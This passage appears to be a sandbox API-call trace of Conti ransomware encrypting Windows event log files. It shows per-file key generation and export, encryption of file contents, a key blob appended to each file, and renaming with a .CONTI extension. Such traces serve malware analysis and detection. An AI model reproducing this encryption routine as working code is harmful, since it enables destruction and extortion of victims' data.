	[0096.349] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Client-Licensing-Platform%4Admin.evtx" (normalized: "c:\\logs\\microsoft-client-licensing-platform%4admin.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308
	[0096.349] GetLastError () returned 0x0
	[0096.349] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x54bfbc0 | out: lpFileSize=0x54bfbc0*=69632) returned 1
	[0096.349] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x11000
	[0096.349] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x224, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0096.349] SetEndOfFile (hFile=0x308) returned 1
	[0096.399] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0096.399] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0096.399] WriteFile (in: hFile=0x308, lpBuffer=0x17d2fb4*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x54bfbcc, lpOverlapped=0x0 | out: lpBuffer=0x17d2fb4*, lpNumberOfBytesWritten=0x54bfbcc*=0x20c, lpOverlapped=0x0) returned 1
	[0096.415] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0096.415] ReadFile (in: hFile=0x308, lpBuffer=0xfdc0000, nNumberOfBytesToRead=0x11000, lpNumberOfBytesRead=0x54bfbec, lpOverlapped=0x0 | out: lpBuffer=0xfdc0000*, lpNumberOfBytesRead=0x54bfbec*=0x11000, lpOverlapped=0x0) returned 1
	[0096.423] CryptEncrypt (in: hKey=0x17c8270, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xfdc0000*, pdwDataLen=0x54bfbe4*=0x11000, dwBufLen=0x500000 | out: pbData=0xfdc0000*, pdwDataLen=0x54bfbe4*=0x11010) returned 1
	[0096.423] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0096.423] WriteFile (in: hFile=0x308, lpBuffer=0xfdc0000*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x54bfc00, lpOverlapped=0x0 | out: lpBuffer=0xfdc0000*, lpNumberOfBytesWritten=0x54bfc00*=0x11010, lpOverlapped=0x0) returned 1
	[0096.423] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0096.430] WriteFile (in: hFile=0x308, lpBuffer=0x17d2fa8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x54bfc18, lpOverlapped=0x0 | out: lpBuffer=0x17d2fa8*, lpNumberOfBytesWritten=0x54bfc18*=0x8, lpOverlapped=0x0) returned 1
	[0096.430] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0096.430] CloseHandle (hObject=0x308) returned 1
	[0096.440] GetProcessHeap () returned 0x1720000
	[0096.440] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17ea448
	[0096.440] lstrcpyW (in: lpString1=0x17ea448, lpString2="C:\\Logs\\Microsoft-Client-Licensing-Platform%4Admin.evtx" | out: lpString1="C:\\Logs\\Microsoft-Client-Licensing-Platform%4Admin.evtx") returned="C:\\Logs\\Microsoft-Client-Licensing-Platform%4Admin.evtx"
	[0096.440] lstrcatW (in: lpString1="C:\\Logs\\Microsoft-Client-Licensing-Platform%4Admin.evtx", lpString2=".CONTI" | out: lpString1="C:\\Logs\\Microsoft-Client-Licensing-Platform%4Admin.evtx.CONTI") returned="C:\\Logs\\Microsoft-Client-Licensing-Platform%4Admin.evtx.CONTI"
	[0096.440] MoveFileW (lpExistingFileName="C:\\Logs\\Microsoft-Client-Licensing-Platform%4Admin.evtx" (normalized: "c:\\logs\\microsoft-client-licensing-platform%4admin.evtx"), lpNewFileName="C:\\Logs\\Microsoft-Client-Licensing-Platform%4Admin.evtx.CONTI" (normalized: "c:\\logs\\microsoft-client-licensing-platform%4admin.evtx.conti")) returned 1
	[0096.441] GetProcessHeap () returned 0x1720000
	[0096.441] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17ea448 | out: hHeap=0x1720000) returned 1
	[0096.441] CryptDestroyKey (hKey=0x17c8270) returned 1
	[0096.441] GetProcessHeap () returned 0x1720000
	[0096.441] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x1740550 | out: hHeap=0x1720000) returned 1
	[0096.441] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x54bfc3c, lpCompletionKey=0x54bfc40, lpOverlapped=0x54bfc4c, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x54bfc3c, lpCompletionKey=0x54bfc40, lpOverlapped=0x54bfc4c) returned 1
	[0096.441] CryptGenKey (in: hProv=0x176c458, Algid=0x6610, dwFlags=0x1, phKey=0x17c4c70 | out: phKey=0x17c4c70*=0x17c8270) returned 1
	[0096.441] CryptExportKey (in: hKey=0x17c8270, hExpKey=0x175e130, dwBlobType=0x1, dwFlags=0x0, pbData=0x17c4c74, pdwDataLen=0x54bfc14 | out: pbData=0x17c4c74*, pdwDataLen=0x54bfc14*=0x20c) returned 1
	[0096.442] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-Power%4Thermal-Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-power%4thermal-operational.evtx")) returned 0x20
	[0096.442] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-Power%4Thermal-Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-power%4thermal-operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308
	[0096.442] GetLastError () returned 0x0
	[0096.442] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x54bfbc0 | out: lpFileSize=0x54bfbc0*=69632) returned 1
	[0096.442] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x11000
	[0096.442] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x224, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0096.442] SetEndOfFile (hFile=0x308) returned 1
	[0096.442] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0096.442] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0096.442] WriteFile (in: hFile=0x308, lpBuffer=0x17c4c74*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x54bfbcc, lpOverlapped=0x0 | out: lpBuffer=0x17c4c74*, lpNumberOfBytesWritten=0x54bfbcc*=0x20c, lpOverlapped=0x0) returned 1
	[0096.443] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0096.443] ReadFile (in: hFile=0x308, lpBuffer=0xfdc0000, nNumberOfBytesToRead=0x11000, lpNumberOfBytesRead=0x54bfbec, lpOverlapped=0x0 | out: lpBuffer=0xfdc0000*, lpNumberOfBytesRead=0x54bfbec*=0x11000, lpOverlapped=0x0) returned 1
	[0096.445] CryptEncrypt (in: hKey=0x17c8270, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xfdc0000*, pdwDataLen=0x54bfbe4*=0x11000, dwBufLen=0x500000 | out: pbData=0xfdc0000*, pdwDataLen=0x54bfbe4*=0x11010) returned 1
	[0096.445] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0096.445] WriteFile (in: hFile=0x308, lpBuffer=0xfdc0000*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x54bfc00, lpOverlapped=0x0 | out: lpBuffer=0xfdc0000*, lpNumberOfBytesWritten=0x54bfc00*=0x11010, lpOverlapped=0x0) returned 1
	[0096.445] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0096.445] WriteFile (in: hFile=0x308, lpBuffer=0x17c4c68*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x54bfc18, lpOverlapped=0x0 | out: lpBuffer=0x17c4c68*, lpNumberOfBytesWritten=0x54bfc18*=0x8, lpOverlapped=0x0) returned 1
	[0096.445] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0096.445] CloseHandle (hObject=0x308) returned 1
	[0096.447] GetProcessHeap () returned 0x1720000
	[0096.447] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17ea448
	[0096.447] lstrcpyW (in: lpString1=0x17ea448, lpString2="C:\\Logs\\Microsoft-Windows-Kernel-Power%4Thermal-Operational.evtx" | out: lpString1="C:\\Logs\\Microsoft-Windows-Kernel-Power%4Thermal-Operational.evtx") returned="C:\\Logs\\Microsoft-Windows-Kernel-Power%4Thermal-Operational.evtx"
	[0096.447] lstrcatW (in: lpString1="C:\\Logs\\Microsoft-Windows-Kernel-Power%4Thermal-Operational.evtx", lpString2=".CONTI" | out: lpString1="C:\\Logs\\Microsoft-Windows-Kernel-Power%4Thermal-Operational.evtx.CONTI") returned="C:\\Logs\\Microsoft-Windows-Kernel-Power%4Thermal-Operational.evtx.CONTI"
	[0096.447] MoveFileW (lpExistingFileName="C:\\Logs\\Microsoft-Windows-Kernel-Power%4Thermal-Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-power%4thermal-operational.evtx"), lpNewFileName="C:\\Logs\\Microsoft-Windows-Kernel-Power%4Thermal-Operational.evtx.CONTI" (normalized: "c:\\logs\\microsoft-windows-kernel-power%4thermal-operational.evtx.conti")) returned 1
	[0096.448] GetProcessHeap () returned 0x1720000
	[0096.448] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17ea448 | out: hHeap=0x1720000) returned 1
	[0096.448] CryptDestroyKey (hKey=0x17c8270) returned 1
	[0096.448] GetProcessHeap () returned 0x1720000
	[0096.448] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17d0848 | out: hHeap=0x1720000) returned 1
	[0096.448] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x54bfc3c, lpCompletionKey=0x54bfc40, lpOverlapped=0x54bfc4c, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x54bfc3c, lpCompletionKey=0x54bfc40, lpOverlapped=0x54bfc4c) returned 1
	[0096.448] CryptGenKey (in: hProv=0x176c458, Algid=0x6610, dwFlags=0x1, phKey=0x17c5100 | out: phKey=0x17c5100*=0x17c8270) returned 1
	[0096.448] CryptExportKey (in: hKey=0x17c8270, hExpKey=0x175e130, dwBlobType=0x1, dwFlags=0x0, pbData=0x17c5104, pdwDataLen=0x54bfc14 | out: pbData=0x17c5104*, pdwDataLen=0x54bfc14*=0x20c) returned 1
	[0096.449] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-ShimEngine%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-shimengine%4operational.evtx")) returned 0x20
	[0096.449] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-ShimEngine%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-shimengine%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308
	[0096.449] GetLastError () returned 0x0
	[0096.449] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x54bfbc0 | out: lpFileSize=0x54bfbc0*=69632) returned 1
	[0096.449] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x11000
	[0096.449] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x224, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0096.449] SetEndOfFile (hFile=0x308) returned 1
	[0096.449] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0096.449] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0096.449] WriteFile (in: hFile=0x308, lpBuffer=0x17c5104*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x54bfbcc, lpOverlapped=0x0 | out: lpBuffer=0x17c5104*, lpNumberOfBytesWritten=0x54bfbcc*=0x20c, lpOverlapped=0x0) returned 1
	[0096.451] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0096.451] ReadFile (in: hFile=0x308, lpBuffer=0xfdc0000, nNumberOfBytesToRead=0x11000, lpNumberOfBytesRead=0x54bfbec, lpOverlapped=0x0 | out: lpBuffer=0xfdc0000*, lpNumberOfBytesRead=0x54bfbec*=0x11000, lpOverlapped=0x0) returned 1
	[0096.452] CryptEncrypt (in: hKey=0x17c8270, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xfdc0000*, pdwDataLen=0x54bfbe4*=0x11000, dwBufLen=0x500000 | out: pbData=0xfdc0000*, pdwDataLen=0x54bfbe4*=0x11010) returned 1
	[0096.452] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0096.452] WriteFile (in: hFile=0x308, lpBuffer=0xfdc0000*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x54bfc00, lpOverlapped=0x0 | out: lpBuffer=0xfdc0000*, lpNumberOfBytesWritten=0x54bfc00*=0x11010, lpOverlapped=0x0) returned 1
	[0096.452] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0096.452] WriteFile (in: hFile=0x308, lpBuffer=0x17c50f8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x54bfc18, lpOverlapped=0x0 | out: lpBuffer=0x17c50f8*, lpNumberOfBytesWritten=0x54bfc18*=0x8, lpOverlapped=0x0) returned 1
	[0096.452] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0096.453] CloseHandle (hObject=0x308) returned 1
	[0096.454] GetProcessHeap () returned 0x1720000
	[0096.454] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17ea448
	[0096.454] lstrcpyW (in: lpString1=0x17ea448, lpString2="C:\\Logs\\Microsoft-Windows-Kernel-ShimEngine%4Operational.evtx" | out: lpString1="C:\\Logs\\Microsoft-Windows-Kernel-ShimEngine%4Operational.evtx") returned="C:\\Logs\\Microsoft-Windows-Kernel-ShimEngine%4Operational.evtx"
	[0096.454] lstrcatW (in: lpString1="C:\\Logs\\Microsoft-Windows-Kernel-ShimEngine%4Operational.evtx", lpString2=".CONTI" | out: lpString1="C:\\Logs\\Microsoft-Windows-Kernel-ShimEngine%4Operational.evtx.CONTI") returned="C:\\Logs\\Microsoft-Windows-Kernel-ShimEngine%4Operational.evtx.CONTI"
	[0096.454] MoveFileW (lpExistingFileName="C:\\Logs\\Microsoft-Windows-Kernel-ShimEngine%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-shimengine%4operational.evtx"), lpNewFileName="C:\\Logs\\Microsoft-Windows-Kernel-ShimEngine%4Operational.evtx.CONTI" (normalized: "c:\\logs\\microsoft-windows-kernel-shimengine%4operational.evtx.conti")) returned 1
	[0096.455] GetProcessHeap () returned 0x1720000
	[0096.455] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17ea448 | out: hHeap=0x1720000) returned 1
	[0096.455] CryptDestroyKey (hKey=0x17c8270) returned 1
	[0096.455] GetProcessHeap () returned 0x1720000
	[0096.455] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x176bdf8 | out: hHeap=0x1720000) returned 1
	[0096.455] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x54bfc3c, lpCompletionKey=0x54bfc40, lpOverlapped=0x54bfc4c, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x54bfc3c, lpCompletionKey=0x54bfc40, lpOverlapped=0x54bfc4c) returned 1
	[0096.455] CryptGenKey (in: hProv=0x176c458, Algid=0x6610, dwFlags=0x1, phKey=0x17d5430 | out: phKey=0x17d5430*=0x17c8270) returned 1
	[0096.455] CryptExportKey (in: hKey=0x17c8270, hExpKey=0x175e130, dwBlobType=0x1, dwFlags=0x0, pbData=0x17d5434, pdwDataLen=0x54bfc14 | out: pbData=0x17d5434*, pdwDataLen=0x54bfc14*=0x20c) returned 1
	[0096.456] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-StoreMgr%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-storemgr%4operational.evtx")) returned 0x20
	[0096.456] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-StoreMgr%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-storemgr%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308
	[0096.457] GetLastError () returned 0x0
	[0096.457] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x54bfbc0 | out: lpFileSize=0x54bfbc0*=69632) returned 1
	[0096.457] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x11000
	[0096.457] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x224, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0096.457] SetEndOfFile (hFile=0x308) returned 1
	[0096.457] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0096.457] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0096.457] WriteFile (in: hFile=0x308, lpBuffer=0x17d5434*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x54bfbcc, lpOverlapped=0x0 | out: lpBuffer=0x17d5434*, lpNumberOfBytesWritten=0x54bfbcc*=0x20c, lpOverlapped=0x0) returned 1
	[0096.458] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0096.458] ReadFile (in: hFile=0x308, lpBuffer=0xfdc0000, nNumberOfBytesToRead=0x11000, lpNumberOfBytesRead=0x54bfbec, lpOverlapped=0x0 | out: lpBuffer=0xfdc0000*, lpNumberOfBytesRead=0x54bfbec*=0x11000, lpOverlapped=0x0) returned 1
	[0096.460] CryptEncrypt (in: hKey=0x17c8270, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xfdc0000*, pdwDataLen=0x54bfbe4*=0x11000, dwBufLen=0x500000 | out: pbData=0xfdc0000*, pdwDataLen=0x54bfbe4*=0x11010) returned 1
	[0096.460] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0096.460] WriteFile (in: hFile=0x308, lpBuffer=0xfdc0000*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x54bfc00, lpOverlapped=0x0 | out: lpBuffer=0xfdc0000*, lpNumberOfBytesWritten=0x54bfc00*=0x11010, lpOverlapped=0x0) returned 1
	[0096.460] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0096.460] WriteFile (in: hFile=0x308, lpBuffer=0x17d5428*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x54bfc18, lpOverlapped=0x0 | out: lpBuffer=0x17d5428*, lpNumberOfBytesWritten=0x54bfc18*=0x8, lpOverlapped=0x0) returned 1
	[0096.460] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0096.460] CloseHandle (hObject=0x308) returned 1
	[0096.462] GetProcessHeap () returned 0x1720000
	[0096.462] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17ea448
	[0096.462] lstrcpyW (in: lpString1=0x17ea448, lpString2="C:\\Logs\\Microsoft-Windows-Kernel-StoreMgr%4Operational.evtx" | out: lpString1="C:\\Logs\\Microsoft-Windows-Kernel-StoreMgr%4Operational.evtx") returned="C:\\Logs\\Microsoft-Windows-Kernel-StoreMgr%4Operational.evtx"
	[0096.462] lstrcatW (in: lpString1="C:\\Logs\\Microsoft-Windows-Kernel-StoreMgr%4Operational.evtx", lpString2=".CONTI" | out: lpString1="C:\\Logs\\Microsoft-Windows-Kernel-StoreMgr%4Operational.evtx.CONTI") returned="C:\\Logs\\Microsoft-Windows-Kernel-StoreMgr%4Operational.evtx.CONTI"
	[0096.462] MoveFileW (lpExistingFileName="C:\\Logs\\Microsoft-Windows-Kernel-StoreMgr%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-storemgr%4operational.evtx"), lpNewFileName="C:\\Logs\\Microsoft-Windows-Kernel-StoreMgr%4Operational.evtx.CONTI" (normalized: "c:\\logs\\microsoft-windows-kernel-storemgr%4operational.evtx.conti")) returned 1
	[0096.462] GetProcessHeap () returned 0x1720000
	[0096.462] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17ea448 | out: hHeap=0x1720000) returned 1
	[0096.463] CryptDestroyKey (hKey=0x17c8270) returned 1
	[0096.463] GetProcessHeap () returned 0x1720000
	[0096.463] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17c6c78 | out: hHeap=0x1720000) returned 1
	[0096.463] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x54bfc3c, lpCompletionKey=0x54bfc40, lpOverlapped=0x54bfc4c, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x54bfc3c, lpCompletionKey=0x54bfc40, lpOverlapped=0x54bfc4c) returned 1
	[0096.463] CryptGenKey (in: hProv=0x176c458, Algid=0x6610, dwFlags=0x1, phKey=0x17d6fb8 | out: phKey=0x17d6fb8*=0x17c8270) returned 1
	[0096.463] CryptExportKey (in: hKey=0x17c8270, hExpKey=0x175e130, dwBlobType=0x1, dwFlags=0x0, pbData=0x17d6fbc, pdwDataLen=0x54bfc14 | out: pbData=0x17d6fbc*, pdwDataLen=0x54bfc14*=0x20c) returned 1
	[0096.463] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Errors.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-whea%4errors.evtx")) returned 0x20
	[0096.464] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Errors.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-whea%4errors.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308
	[0096.464] GetLastError () returned 0x0
	[0096.464] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x54bfbc0 | out: lpFileSize=0x54bfbc0*=69632) returned 1
	[0096.464] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x11000
	[0096.464] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x224, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0096.465] SetEndOfFile (hFile=0x308) returned 1
	[0096.465] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0096.465] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0096.465] WriteFile (in: hFile=0x308, lpBuffer=0x17d6fbc*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x54bfbcc, lpOverlapped=0x0 | out: lpBuffer=0x17d6fbc*, lpNumberOfBytesWritten=0x54bfbcc*=0x20c, lpOverlapped=0x0) returned 1
	[0096.466] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0096.466] ReadFile (in: hFile=0x308, lpBuffer=0xfdc0000, nNumberOfBytesToRead=0x11000, lpNumberOfBytesRead=0x54bfbec, lpOverlapped=0x0 | out: lpBuffer=0xfdc0000*, lpNumberOfBytesRead=0x54bfbec*=0x11000, lpOverlapped=0x0) returned 1
	[0096.467] CryptEncrypt (in: hKey=0x17c8270, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xfdc0000*, pdwDataLen=0x54bfbe4*=0x11000, dwBufLen=0x500000 | out: pbData=0xfdc0000*, pdwDataLen=0x54bfbe4*=0x11010) returned 1
	[0096.468] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0096.468] WriteFile (in: hFile=0x308, lpBuffer=0xfdc0000*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x54bfc00, lpOverlapped=0x0 | out: lpBuffer=0xfdc0000*, lpNumberOfBytesWritten=0x54bfc00*=0x11010, lpOverlapped=0x0) returned 1
	[0096.468] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0096.468] WriteFile (in: hFile=0x308, lpBuffer=0x17d6fb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x54bfc18, lpOverlapped=0x0 | out: lpBuffer=0x17d6fb0*, lpNumberOfBytesWritten=0x54bfc18*=0x8, lpOverlapped=0x0) returned 1
	[0096.468] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0096.468] CloseHandle (hObject=0x308) returned 1
	[0096.470] GetProcessHeap () returned 0x1720000
	[0096.470] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17ea448
	[0096.470] lstrcpyW (in: lpString1=0x17ea448, lpString2="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Errors.evtx" | out: lpString1="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Errors.evtx") returned="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Errors.evtx"
